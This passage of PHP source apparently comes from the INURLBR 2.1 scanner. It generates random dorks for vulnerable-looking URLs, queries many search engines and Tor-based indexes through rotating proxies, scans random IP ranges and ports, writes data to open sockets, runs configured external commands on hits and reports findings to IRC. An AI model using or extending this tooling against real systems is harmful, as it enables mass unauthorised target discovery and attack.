function __filterDomainUnique($resultados) {

    if (is_array($resultados)) {

        foreach ($resultados as $value) {

            $temp[] = "http://" . __filterHostname($value);
        }

        return array_unique(array_filter($temp));
    }

    return FALSE;
}

################################################################################
#FILTER IF URL DOMAIN###########################################################
################################################################################

function __filterURLif($resultados) {

    if (is_array($resultados)) {

        foreach ($resultados as $value) {

            $temp[] = not_isnull_empty($_SESSION['config']['ifurl']) && strstr($value, $_SESSION['config']['ifurl']) ? $value : NULL;
        }

        return array_unique(array_filter($temp));
    }

    return FALSE;
}

################################################################################
#GENERATOR RANGE IP#############################################################
################################################################################

function __generatorRangeIP($range) {

    $ip_ = explode(',', $range);
    if (is_array($ip_)) {

        $_ = array(0 => ip2long($ip_[0]), 1 => ip2long($ip_[1]));
        while ($_[0] <= $_[1]) {

            $ips[] = "http://" . long2ip($_[0]);
            $_[0] ++;
        }
    } else {

        return FALSE;
    }

    return $ips;
}

################################################################################
#GENERATOR RANGE IP RANDOM######################################################
################################################################################

function __generatorIPRandom($cont) {

    $cont[0] = 0;
    while ($cont[0] < $cont[1]) {

        $bloc[0] = rand(0, 255);
        $bloc[1] = rand(0, 255);
        $bloc[2] = rand(0, 255);
        $bloc[3] = rand(0, 255);
        $ip[] = "http://{$bloc[0]}.{$bloc[1]}.{$bloc[2]}.{$bloc[3]}";
        $cont[0] ++;
    }
    return array_unique($ip);
}

################################################################################
#ACESSING FILE ROBOTS###########################################################
################################################################################

function __getValuesRobots($url) {

    $_[0] = "http://" . __filterHostname($url) . "/robots.txt";
    $_[0] = __request_info($_[0], $_SESSION["config"]["proxy"], NULL);
    echo "\n{$_SESSION["c1"]}|_[ * ]__\n";
    echo "         |[ ACCESSING FILE ROBOTS ]::\n";

    if (not_isnull_empty($_[0]['corpo']) && $_[0]['server']['http_code'] == 200) {

        $_[1] = array_unique(array_filter(explode("\n", $_[0]['corpo'])));

        foreach ($_[1] as $value) {

            if (strstr($value, 'Disallow:') || strstr($value, 'Allow:')) {

                echo "|_[ + ]__|[ value={$value}\n";
                __saveValue($_SESSION['config']['arquivo_output'], $value, 2);
            }
            __plus();
        }
    } else {

        echo "\t[x][ ERRO ] LOAD FILE ROBOTS.TXT [ COD_HTTP ]:: {$_[0]['server']['http_code']}\n{$_SESSION["c0"]}";
    }
}

################################################################################
#Base64 string encryption md5 , hexadecimal, hex, base64 & random string########
################################################################################

function __crypt($url) {

    preg_match_all("#(md5|base64|hex|random)(\()(.*?)(\))#", $url, $_);
    $cont = 0;

    foreach ($_[0] as $replace) {

        if (strstr($replace, 'md5('))
            $func = 'md5';

        if (strstr($replace, 'base64('))
            $func = 'base64_encode';

        if (strstr($replace, 'hex('))
            $func = 'bin2hex';

        if (strstr($replace, 'random('))
            $func = 'random';

        $url = str_replace($replace, $func($_[3][$cont]), $url);
        $cont ++;
    }
    return $url;
}

################################################################################
#GENERATE RANDOM STRING#########################################################
################################################################################
#(PHP4,PHP5) Shuffle an array http://php.net/manual/en/function.shuffle.php

function random($__) {
    $_ = 'A,a,B,b,C,c,D,d,E,e,F,f,G,g,';
    $_.= 'H,h,I,i,J,j,K,k,L,l,M,m,';
    $_.= '1,2,3,4,5,6,7,8,9,0';
    $_ = explode(',', $_);
    shuffle($_);
    $_ = implode($_, '');
    return substr($_, 0, $__);
}

################################################################################
#GENERATE RANDOM DORKS##########################################################
################################################################################

function __randomDork($_) {

    $dk[1] = array('view', 'page', 'index', 'file', 'ver', 'web', 'form', 'public', 'map', 'visit',
        'site', 'perfil', 'sistema', 'system', 'cad', 'frm', 'content', 'conteudo', 'graf', 'page',
        'search', 'arch', 'class', 'app', 'galeria', 'text', 'noticia', 'default', 'storytopic', 'home',
        'lenoticia', 'counter', 'todos', 'all', 'principal', 'main', 'pesquisa', 'dir', 'category', 'news_more',
        'info', 'display', 'showrecord', 'download', 'sum', 'produtos', 'Menu', 'guia', 'product', 'about',
        'WebForms', 'proj', 'inter', 'PageText', 'topper', 'notes', 'name', 'redirect', 'open_link', 'artist',
        'curricu', 'resumen', 'top', 'list', 'directorio', 'Project', 'membre', 'photos', 'Contenido',
        'presentation', 'component', 'release', 'article', 'asesores', 'Detail', 'about', 'lire', 'story',
        'memoriam', 'transport', 'journal', 'album', 'community', 'includes', 'ler', 'video', 'configs', 'refer',
        'form_cpf', 'atualiza', 'refresh', 'materia', 'fotos', 'photos', 'itemdetail', 'listcategoriesandproduct',
        'myaccount', 'learnmore', 'powersearch', 'prodbycat', 'prodetails', 'prodlist', 'productDisplay', 'promotion',
        'pview', 'resellers', 'inc', 'oferta', 'layout', 'standard', 'blank', 'path', 'declaration', 'newsitem', 'games',
        'buy', 'readnews', 'event', 'news_view', 'communique_detail', 'kategorie', 'preview', 'faq2', 'comment', 'newsDetail',
        'shopping', 'shop_category', 'product_ranges_view', 'section', 'ages', 'curriculum', 'galeri_info', 'tekst', 'play_old',
        'viewapp', 'padrao', 'sitio', 'head', 'template', 'index1', 'index2', 'index3', 'index4', 'index5', 'mod', 'press', 'gery',
        'index_table', 'mainfile', '_functions', 'phpshop', 'new-visitor.inc', 'Packages', 'editor', 'board', 'advanced', 'pref',
        'q', 'side', 'home1', 'home2', 'home3', 'getbook', 'checkout', 'affiliate', 'addcart', 'product_info', 'showsub', 'library',
        'edition', 'get', 'temp', 'catalog', 'press2', 'company', 'jobs', 'review', 'input', 'cats', 'showmedia', 'event_info'
    );


    $dk[2] = array('view', 'file', 'ver', 'web', 'form', 'public', 'map', 'site', 'perfil', 'bookid',
        'sistema', 'system', 'cad', 'frm', 'content', 'id', 'action', 'user', 'option', 'area', 'catalogid',
        'tp', 'pg', 'p', 'v', 'a', 't', 'r', 'o', 'm', 'n', 'sec', 'lang', 'search', 'Itemid', 'open',
        'servicoid', 'id_ap', 'artic', 'pag', 'archive', 'ind', 'sigl', 'url', 'link', 'tp', 'cd', 'item_ID',
        'web', 'sourc', 'sitemap', 'go', 'galeria', 'img', 'notic', 'num', 'ter', 'dow', 'type', 'CartId',
        'redir', 'default', 'storytopic', 'topic', 'cod_noti', 'detalhe', 'ler', 'storyid', 'start',
        'click', 'title', 'tmpl', 'templat', 'cont', 'corp', 'contat', 'consult', 'main', 'exib', 'guia',
        'span', 'OpenDocument', 'document', 'codidem', 'pesq', 'print', 'imprimir', 'jobs', 'pic', 'contri',
        'code', 'myPage', 'openPage', 'homepage', 'home', 'inner', 'custom', 'bin', 'IsisScript', 'pid',
        'wxis.exe', 'wood', 'modules', 'kbn', 'chid', 'jump', 'mes', 'ano', 'month', 'year', 'day', 'dia', 'pre',
        'show', 'download', 'summit', 'new', 'coming', 'Category', 'produtos', 'Menu', 'uid', 'Consulta', 'qry',
        'product', 'WebForms', 'proj', 'inter', 'scgi', 'orig_q', 'b1', 'showpage', 'filter', 'Detail', 'about',
        'itemlist', 'memor', 'info', 'website', 'cidade', 'lic', 'materia', 'SEC_', 'includes', 'store', 'ler',
        'reader', 'src', 'theme', 'Boletim', 'busca', 'date', 'video', 'configs', 'exec', 'doc', 'refresh', 'telec',
        'digital', 'materia', 'portal', 'shop', 'photos', 'sales', 'open', 'check', 'token', 'general', 'process', 'ViewType',
        'idCategor', 'intCatalogID', 'Cart', 'maingroup', 'play', 'where', 'mod', 'panel', 'str', 'staff_id', 'buy', 'preview',
        'chapter', 'club_id', 'GLOBALS', 'absolute_path', 'body', 'from', 'pg_ID', 'load', 'systempath', 'conf', 'do', 'x', 'temp',
        'see', 'act', 'middle', 'content', 'q', 'my', 'to', 'nivel', 'arq', 'modo', 'rss', 'pagina', 'opcion', 'loader', 'l', 'this',
        'subject', 'param', 'index', 'tipo', 'second', 'loc', 'cat_id', 'magazin', 'artist_art', 'cID', 'cat', 'message_id', ''
    );

    $dk[3] = array('aspx', 'asp', 'cfm', 'php', 'php3', 'pl', 'cgi', 'py', 'jsp');

    for ($i = 0; $i <= $_; $i++) {

        $dm = NULL;
        $da = $dk[1][rand(0, count($dk[1]) - 1)];
        $dg = $dk[2][rand(0, count($dk[2]) - 1)];
        $de = $dk[3][rand(0, count($dk[3]) - 1)];

        $__[] = "\"{$dm}/{$da}.{$de}?{$dg}\"";
    }
    return $__;
}

################################################################################
#VALIDATING OPEN DOORS##########################################################
################################################################################
#(PHP 4, PHP 5) fsockopen — Open Internet or Unix domain socket connection
#http://php.net/manual/en/function.fsockopen.php

function __portScan($_) {

    // FORMAT PORTS 80, 8181, 22, 21
    $ports = explode(',', $_[1]);
    echo "\n{$_SESSION["c1"]}|_[ * ]__\n";
    echo "         |[ PROCESS PORT-SCAN ]::\n";
    foreach ($ports as $value) {

        $conc = fsockopen($_SESSION['config']['server_ip'], $value, $_[2], $_[3], 30);
        // HOST, POST, ERROR1, ERROR3, TIMEOUT

        __plus();

        if ($conc) {

            echo "{$_SESSION["c1"]}|_[ + ]__|[ {$value}=\033[1m\033[32mOPEN{$_SESSION["c0"]}";
            (not_isnull_empty($_SESSION['config']['port-write']) ? __portWrite($conc, $_SESSION['config']['port-write']) : NULL);
            __saveValue($_SESSION['config']['arquivo_output'], "{$value}=OPEN", 2);

            __plus();
            $_[0]['url_port'] = $value;
            (not_isnull_empty($_SESSION['config']['port-cmd']) ? __command($_SESSION['config']['port-cmd'], $_[0]) : NULL);
            __plus();
        } else {

            echo "{$_SESSION["c1"]}|_[ x ]__|[ {$value}={$_SESSION["c9"]}CLOSED{$_SESSION["c0"]}\n";
            __plus();
        }
    }
    echo $_SESSION["c0"];
    fclose($conc);
}

################################################################################
#WRITING ON THE DOOR############################################################
################################################################################
#(PHP 4, PHP 5) fwrite — Binary-safe file write
#http://php.net/manual/pt_BR/function.fwrite.php

function __portWrite($conect, $valores) {

    $valores = explode(',', $valores);
    foreach ($valores as $value) {

        echo "{$_SESSION["c1"]}|_[ + ]__|[ WRITE SEND={$value}{$_SESSION["c0"]}\n";
        fwrite($conect, "{$value}\r\n") . sleep(3);
        __plus();
    }
}

################################################################################
#CODE SEARCH ENGINES############################################################
################################################################################
//$_SESSION['config']['cod'] = ' 

function __engines($dork, $list_proxy) {

    $dork_ = (not_isnull_empty($dork)) ? $dork : __getOut("DEFINA SUA DORK\n");
    $list_proxy_ = (!is_null($list_proxy) ? $list_proxy[rand(0, count($list_proxy) - 1)] : NULL);

    $confArray = array("list_proxy_rand" => $list_proxy_, "list_proxy_file" => $list_proxy);

    (!is_null($_SESSION["config"]["tor-random"]) && !is_null($_SESSION["config"]["proxy"]) ? __renewTOR() : NULL);

    echo "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ SEARCHING ]:: {$_SESSION["c1"]}{{$_SESSION["c0"]} ";

    __plus();

    echo (!is_null($list_proxy_) ? "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ PROXY FILE RANDOM ]:: {$_SESSION["c1"]}[ {$list_proxy_} ]{$_SESSION["c0"]} " : NULL );

################################################################################
# SEARCH ENGINE :::  google
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        $randHost = __dominioGoogleRandom();
        $_SESSION["config"]["dork_tmp"] = $dork_;
        $_SESSION["config"]["conf_array_tmp"] = $confArray;
        __pageEngine($confArray, "GOOGLE - {$randHost}", "https://{$randHost}/search?q=[DORK]&num=1500&btnG=Search&pws=1", $dork_, $postDados, 0, 0, 1);
    }


################################################################################
# SEARCH ENGINE :::  bing
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 2) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "BING", "http://www.bing.com/search?q=[DORK]&&filt=rf&first=[PAG]", $dork_, $postDados, 1, 991, 50);
    }

################################################################################
# SEARCH ENGINE :::  yahoo
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 3) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "YAHOO BR", "http://search.yahoo.com/search?p=[DORK]&ei=UTF-8&b=[PAG]", $dork_, $postDados, 1, 471, 10);
    }

################################################################################
# SEARCH ENGINE :::  ask
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 4) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "ASK", "http://www.ask.com/web?q=[DORK]&page=[PAG]&qid=[RANDOM]", $dork_, $postDados, 0, 16, 1);
    }

################################################################################
# SEARCH ENGINE :::  hao123
################################################################################


    if (__validateOptions($_SESSION["config"]["motor"], 5) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "HAO123 BR", "http://search.hao123.com.br/s?tn=[RANDOM]&f=0&wd=[DORK]&haobd=[RANDOM]FG=1&ie=utf-8&pn=[PAG]&showTop=0", $dork_, $postDados, 0, 550, 10);
    }

################################################################################
# SEARCH ENGINE :::  googleapis 
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], 6) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "GOOGLE API", "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&rsz=8&q=[DORK]&start=[PAG]&userip=[IP]&filter=1&safe=off", $dork_, $postDados, 0, 56, 4);
    }

################################################################################
# SEARCH ENGINE :::  lycos
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 7) || __validateOptions($_SESSION["config"]["motor"], "all")) {
        $_ = __request_info("http://search.lycos.com", $_SESSION["config"]["proxy"], $postDados);
        $_SESSION["config"]["idPesquisaLycos"] = __getIdSearchLycos($_["corpo"]);

        __pageEngine($confArray, "LYCOS", "http://search.lycos.com/web?q=[DORK]&keyvol={$_SESSION["config"]["idPesquisaLycos"]}&pn=[PAG]", $dork_, $postDados, 0, 24, 1);
    }

################################################################################
# SEARCH ENGINE :::  uol.com.br
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 8) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "UOL BR", "http://busca.uol.com.br/web/?q=[DORK]&start=[PAG]", $dork_, $postDados, 10, 130, 10);
    }

################################################################################
# SEARCH ENGINE :::  us.yhs4.search.yahoo
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 9) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "YAHOO US", "http://us.yhs4.search.yahoo.com/yhs/search?p=[DORK]&fr=goodsearch-yhsif&b=[PAG]", $dork_, $postDados, 1, 551, 10);
    }

################################################################################
# SEARCH ENGINE :::  sapo.pt
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 10) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "SAPO", "http://pesquisa.sapo.pt/?adultfilter=strict&barra=resumo&cluster=0&format=html&limit=10&location=pt&page=[PAG]&q=[DORK]&st=web", $dork_, $postDados, 0, 14, 1);
    }

################################################################################
# SEARCH ENGINE :::  dmoz
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 11) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "DMOZ", "http://www.dmoz.org/search/search?q=[DORK]&start=[PAG]&type=next&all=yes&cat=", $dork_, $postDados, 0, 800, 20);
    }

################################################################################
# SEARCH ENGINE :::  gigablast
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 12) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "GIGABLAST", "http://www.gigablast.com/search?k3h=223119&s=22&rat=0&sc=1&ns=100&n=100&sites=&q=[DORK]", $dork_, $postDados, 0, 1, 1);
    }

################################################################################
# SEARCH ENGINE :::  web.search.naver.com
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 13) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "NEVER", "http://web.search.naver.com/search.naver?where=webkr&query=[DORK]&xc=&docid=0&qt=df&lang=all&f=&r=&st=s&fd=2&start=[PAG]", $dork_, $postDados, 1, 500, 10);
    }

################################################################################
# SEARCH ENGINE :::  br.baidu.com
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 14) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "BAIDU BR", "http://www.baidu.com.br/s?usm=1&rn=100&wd=[DORK]&ie=utf-8&pn=[PAG]&showTop=0", $dork_, $postDados, 0, 1500, 100);
    }

################################################################################
# SEARCH ENGINE :::  www.yandex.ru
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 15) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "YANDEX", "http://yandex.ru/yandsearch?text=[DORK]&p=[PAG]&lr=10136", $dork_, $postDados, 0, 30, 1);
    }

################################################################################
# SEARCH ENGINE :::  www.zoo.com
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 16) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "ZOO", "http://www.zoo.com/Zoo-Site/search/web?qsi=[PAG2]&q=[DORK]&p=[PAG]&fcoid=4&fpid=2", $dork_, $postDados, 1, 211, 20, 10);
    }

################################################################################
# SEARCH ENGINE :::  www.hotbot.com
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 17) || __validateOptions($_SESSION["config"]["motor"], "all")) {
        $_ = __request_info("http://www.hotbot.com/", $_SESSION["config"]["proxy"], $postDados);
        $_SESSION["config"]["idPesquisaLycos"] = __getIdSearchLycos($_["corpo"]);
        __pageEngine($confArray, "HOTBOT", "http://www.hotbot.com/search/web?pn=[PAG]web?q=[DORK]&keyvol={$_SESSION["config"]["idPesquisaLycos"]}", $dork_, $postDados, 0, 24, 1);
    }

################################################################################
# SEARCH ENGINE :::  www.zhongsou.com
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 18) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "ZHONGSOU", "http://www.zhongsou.com/third?w=[DORK]&b=[PAG]", $dork_, $postDados, 1, 50, 1);
    }

################################################################################
# SEARCH ENGINE :::  hksearch.timway.com
################################################################################
    if (__validateOptions($_SESSION["config"]["motor"], 19) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "HKSEARCH", "http://hksearch.timway.com/search.php?query=[DORK]&region=zh-hant-hk&p=[PAG]", $dork_, $postDados, 1, 12, 1);
    }

################################################################################
# SEARCH ENGINE :::  find.ezilon.com / USA
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "EZILION USA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=usa&f=", $dork_, $postDados, 0, 215, 15);
    }

################################################################################
# SEARCH ENGINE :::  find.ezilon.com / ASIA
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "EZILION ASIA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=asia&f=", $dork_, $postDados, 0, 215, 15);
    }

################################################################################
# SEARCH ENGINE :::  find.ezilon.com / EUROPA
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "EZILION EUROPA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=eu&f=", $dork_, $postDados, 0, 215, 15);
    }

################################################################################
# SEARCH ENGINE :::  find.ezilon.com / INDIA
################################################################################
    if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "EZILION INDIA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=in&f=", $dork_, $postDados, 0, 215, 15);
    }

################################################################################
# SEARCH ENGINE :::  www.sogou.com
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 21) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        __pageEngine($confArray, "SOGOU", "http://www.sogou.com/web?query=[DORK]&page=[pag]&ie=utf8", $dork_, $postDados, 1, 20, 1);
    }

################################################################################
# SEARCH ENGINE :::  api.duckduckgo.com
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 22) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        $postDados = TRUE;
        __pageEngine($confArray, "DUCK DUCK GO", "https://api.duckduckgo.com/html/?q=[DORK]&kl=en-us&p=-1&s=[PAG]&dc=[PAG3]&o=json&api=d.js", $dork_, $postDados, 0, 800, 50, 0, 37);
    }

################################################################################
# SEARCH ENGINE :::  boorow
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 23) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        $postDados = TRUE;
        __pageEngine($confArray, "BOOROW", "http://boorow.com/Pages/site_br_aspx?query=[DORK]", $dork_, $postDados, 0, 0, 1);
    }

################################################################################
# SEARCH ENGINE ::: Google Generic RANDOM
################################################################################

    if (__validateOptions($_SESSION["config"]["motor"], 24) || __validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], "all")) {

        $randHost = __dominioGoogleRandom();
        $randGeneric = __googleGenericRandom();
        __pageEngine($confArray, "GOOGLE_GENERIC_RANDOM - {$randHost} ID: {$randGeneric}", "http://{$randHost}/cse?cx={$randGeneric}&q=[DORK]&num=500&hl=en&as_qdr=all&start=[PAG]&sa=N", $dork_, $postDados, 0, 5, 1);
    }


#===============================================================================
#===============================================================================
#===============================================================================
#======================[ MOTORES DE BUSCA ESPECIAIS  ]==========================
#===============================================================================
#===============================================================================
#===============================================================================
#===============================================================================
# SEARCH ENGINE :::  ndj6p3asftxboa7j.tor2web.org / Tor find ===================
#===============================================================================

    if (__validateOptions($_SESSION["config"]["motor"], "e1")) {

        __pageEngine("TOR FIND", "https://ndj6p3asftxboa7j.tor2web.org/search.php?search_query=[DORK]&page_num=[PAG]&domainchoice=onion", $dork_, $postDados, 1, 5, 1);
    }

#===============================================================================
# SEARCH ENGINE :::  elephantjmjqepsw.tor2web.org ==============================
#===============================================================================

    if (__validateOptions($_SESSION["config"]["motor"], "e2")) {

        __pageEngine("ELEPHANT", "https://elephantjmjqepsw.tor2web.orgsearch?q=[DORK]&page=[PAG]", $dork_, $postDados, 0, 29, 1);
    }

#===============================================================================
# SEARCH ENGINE :::  kbhpodhnfxl3clb4.tor2web.org ==============================
#===============================================================================

    if (__validateOptions($_SESSION["config"]["motor"], "e3")) {

        __pageEngine("TORSEARCH", "https://kbhpodhnfxl3clb4.tor2web.org/en/search?j=f&page=[PAG]&q=[DORK]&utf8=%E2%9C%93", $dork_, $postDados, 0, 10, 1);
    }

#===============================================================================
# SEARCH ENGINE :::  search.wikileaks.org ======================================
#===============================================================================

    if (__validateOptions($_SESSION["config"]["motor"], "e4")) {

        __pageEngine("WIKILEAKS", "https://search.wikileaks.org/?page=[PAG]&q=[DORK]&sort=0#results", $dork_, $postDados, 1, 60, 1);
    }

#===============================================================================
# SEARCH ENGINE ::: oth.net ====================================================
#===============================================================================

    if (__validateOptions($_SESSION["config"]["motor"], "e5")) {

        __pageEngine("OTN", "http://oth.net/s/s?q=[DORK]&cl=1&skip=[PAG]", $dork_, $postDados, 1, 211, 20);
    }

#===============================================================================
# SEARCH ENGINE ::: exploits.shodan.io =========================================
#===============================================================================

    if (__validateOptions($_SESSION["config"]["motor"], "e6")) {

        __pageEngine("EXPLOITS SHODAN", "https://exploits.shodan.io/?q=[DORK]&p=[PAG]", $dork_, $postDados, 1, 25, 1);
    }

    __plus();
}

################################################################################
#INITIAL INFORMATION############################################################
################################################################################

function __startingBanner() {

    echo "\n{$_SESSION["c1"]}[ ! ] Starting SCANNER INURLBR 2.1 at [" . date("d-m-Y H:i:s") . "]{$_SESSION["c9"]}
[ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program{$_SESSION["c0"]}\n";

    $file = not_isnull_empty($_SESSION['config']['arquivo_output']) ? $_SESSION['config']['arquivo_output'] : NULL;
    $file_all = not_isnull_empty($_SESSION['config']['arquivo_output_all']) ? $_SESSION['config']['arquivo_output_all'] : NULL;
    $command = not_isnull_empty($_SESSION['config']['command-vul']) ? $_SESSION['config']['command-vul'] : $_SESSION['config']['command-all'];
    $subcommand = not_isnull_empty($_SESSION['config']['sub-cmd-vul']) ? $_SESSION['config']['sub-cmd-vul'] : $_SESSION['config']['sub-cmd-all'];

    echo (not_isnull_empty($_SESSION['config']['ifemail']) ?
            "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILTER EMAIL ]::{$_SESSION["c1"]}[ {$_SESSION['config']['ifemail']} ]{$_SESSION["c0"]}" : NULL);

    echo (is_array($_SESSION['config']['dork-file']) ?
            "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DORK FILE ]::{$_SESSION["c1"]}[ {$_SESSION['config']['dork-file']} ]{$_SESSION["c0"]}" : NULL);

    echo (not_isnull_empty($_SESSION['config']['dork-rand']) ?
            "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DORKS GENERATED ]::{$_SESSION["c1"]}[ {$_SESSION['config']['dork-rand']} ]{$_SESSION["c0"]}" : NULL);

    echo (is_array($_SESSION['config']['irc']['conf']) ?
            "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ SEND VULN IRC ]::{$_SESSION["c1"]}[ server: {$_SESSION['config']['irc']['conf'][0]} / channel: {$_SESSION['config']['irc']['conf'][1]} ]{$_SESSION["c0"]}" : NULL);

    echo (not_isnull_empty($_SESSION['config']['ifurl']) ?
            "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILTER URL ]::{$_SESSION["c1"]}[ {$_SESSION['config']['ifurl']} ]{$_SESSION["c0"]}" : NULL);

    echo (not_isnull_empty($file) ?
            "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ OUTPUT FILE ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file}  ]{$_SESSION["c0"]}" : NULL);

    echo (not_isnull_empty($file_all) ?
            "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ OUTPUT FILE ALL ]::{$_SESSION["c1"]}[ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file_all}  ]{$_SESSION["c0"]}" : NULL);

    echo (not_isnull_empty($command) ?
            "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DEFINED EXTERNAL COMMAND ]::{$_SESSION["c1"]} [ $command ]{$_SESSION["c0"]}" : NULL);

    echo (not_isnull_empty($subcommand) ?
            "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DEFINED EXTERNAL SUB_COMMAND ]::{$_SESSION["c1"]} [ $subcommand ]{$_SESSION["c0"]}" : NULL);

    echo (not_isnull_empty($_SESSION['config']['proxy-file']) ?
            "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILE SOURCE LIST OF PROXY ]::{$_SESSION["c1"]} [ {$_SESSION['config']['proxy-file']} ]{$_SESSION["c0"]}" : NULL);
}

################################################################################
#RUN WITH SEARCH ENGINES########################################################
################################################################################
# (PHP 4 >= 4.0.1, PHP 5) create_function — Create an anonymous (lambda-style) 
# function http://php.net/manual/en/function.create-function.php

function __main($dork, $motor, $cod) {

    $dork_[0] = (strstr($dork, '[DORK]') ? explode('[DORK]', $dork) : array($dork));
    $dork_[1] = (not_isnull_empty($_SESSION['config']['dork-file']) ? __openFile($_SESSION['config']['dork-file'], 1) : $dork_[0]);
    $dork_[2] = (not_isnull_empty($_SESSION['config']['dork-rand']) ? __randomDork($_SESSION['config']['dork-rand']) : array());
    $dork_[3] = array_filter(array_unique(array_merge($dork_[0], $dork_[1], $dork_[2])));

    $file_proxy = (not_isnull_empty($_SESSION['config']['proxy-file']) ? __openFile($_SESSION['config']['proxy-file'], 1) : NULL);
    $list_proxy = (is_array($file_proxy) ? ($file_proxy) : NULL);

    print __bannerLogo();

    __startingBanner();

    for ($i = 0; $i <= count($dork_[3]); $i++) {

        if (!empty($dork_[3][$i])) {

            echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ DORK ]::{$_SESSION["c1"]}[ {$dork_[3][$i]} ]\n";

            //$objNewSearch = create_function('$dork_, $motor, $list_proxy', $cod);
            //$objNewSearch(urlencode($dork_[3][$i]), $motor, $list_proxy);
		
            __engines(urlencode($dork_[3][$i]), $list_proxy) . __plus();

            ($_SESSION["config"]["pr"]) ? __process(explode("\n", $_SESSION["config"]["totas_urls"])) . __plus() : NULL;
            ($_SESSION["config"]["pr"]) ? $_SESSION["config"]["totas_urls"] = NULL : NULL;

            echo "\n";
        }
    }

    (!$_SESSION["config"]["pr"]) ? __process(explode("\n", $_SESSION["config"]["totas_urls"])) . __plus() : NULL;

    __exitProcess();
}

################################################################################
#RUN VALIDATION / PROCESSES SCAN RANG IP########################################
################################################################################

if (not_isnull_empty($_SESSION['config']['range']) || not_isnull_empty($_SESSION['config']['range-rand'])) {

    print __bannerLogo();
    __startingBanner();
    not_isnull_empty($_SESSION['config']['range']) ? __process(__generatorRangeIP($_SESSION['config']['range'])) : NULL;
    not_isnull_empty($_SESSION['config']['range-rand']) ? __process(__generatorIPRandom(array(1 => $_SESSION['config']['range-rand']))) : NULL;
    __exitProcess();
}


################################################################################
#RUN VALIDATION / PROCESSES WITH FILE###########################################
################################################################################

if (not_isnull_empty($_SESSION['config']['abrir-arquivo'])) {

    print __bannerLogo();
    __startingBanner();
